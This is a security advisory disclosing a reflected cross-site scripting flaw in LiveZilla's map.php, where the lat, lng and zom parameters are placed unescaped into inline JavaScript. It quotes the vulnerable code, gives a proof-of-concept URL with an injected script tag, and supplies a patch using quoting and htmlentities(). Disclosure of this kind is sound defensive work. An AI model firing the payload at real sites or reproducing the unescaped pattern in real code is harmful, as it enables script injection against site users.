-:: The Advisory ::-
The following files would together be vulnerable to Cross Site Scripting.

1. livezilla/templates/map.tpl (lines 18-20)
var default_lat = <!--dlat-->;
var default_lng = <!--dlng-->;
var default_zom = <!--dzom-->;

2. livezilla/map.php (lines 15-28)
if(isset($_GET["lat"]))
$map = str_replace("<!--dlat-->",$_GET["lat"],$map);
else
$map = str_replace("<!--dlat-->","25",$map);

if(isset($_GET["lng"]))
$map = str_replace("<!--dlng-->",$_GET["lng"],$map);
else
$map = str_replace("<!--dlng-->","10",$map);

if(isset($_GET["zom"]))
$map = str_replace("<!--dzom-->",$_GET["zom"],$map);
else
$map = str_replace("<!--dzom-->","1",$map);


Proof of Concept: (</script><script>alert(0)</script>)
http://localhost/livezilla/map.php?lat=%3C/script%3E%3Cscript%3Ealert(%22InterN0T.net%22)%3C/script%3E

Pseudo Proof of Concept:
- Javascript functions could also have been executed inside the javascript where the vulnerable code is.

-:: Solution ::-
The following patch was supplied to the vendor:
1. livezilla/templates/map.tpl (lines 18-20)
var default_lat = "<!--dlat-->";
var default_lng = "<!--dlng-->";
var default_zom = "<!--dzom-->";

2. livezilla/map.php (lines 15-28)
if(isset($_GET["lat"]))
$map = str_replace("<!--dlat-->",htmlentities($_GET["lat"]),$map);
else
$map = str_replace("<!--dlat-->","25",$map);

if(isset($_GET["lng"]))
$map = str_replace("<!--dlng-->",htmlentities($_GET["lng"]),$map);
else
$map = str_replace("<!--dlng-->","10",$map);

if(isset($_GET["zom"]))
$map = str_replace("<!--dzom-->",htmlentities($_GET["zom"]),$map);
else
$map = str_replace("<!--dzom-->","1",$map);
We used htmlentities() since we thought that would be the best
solution. The other functions named htmlspecialchars(), urlencode()
and raw_urlencode() could have been an alternative to the above.
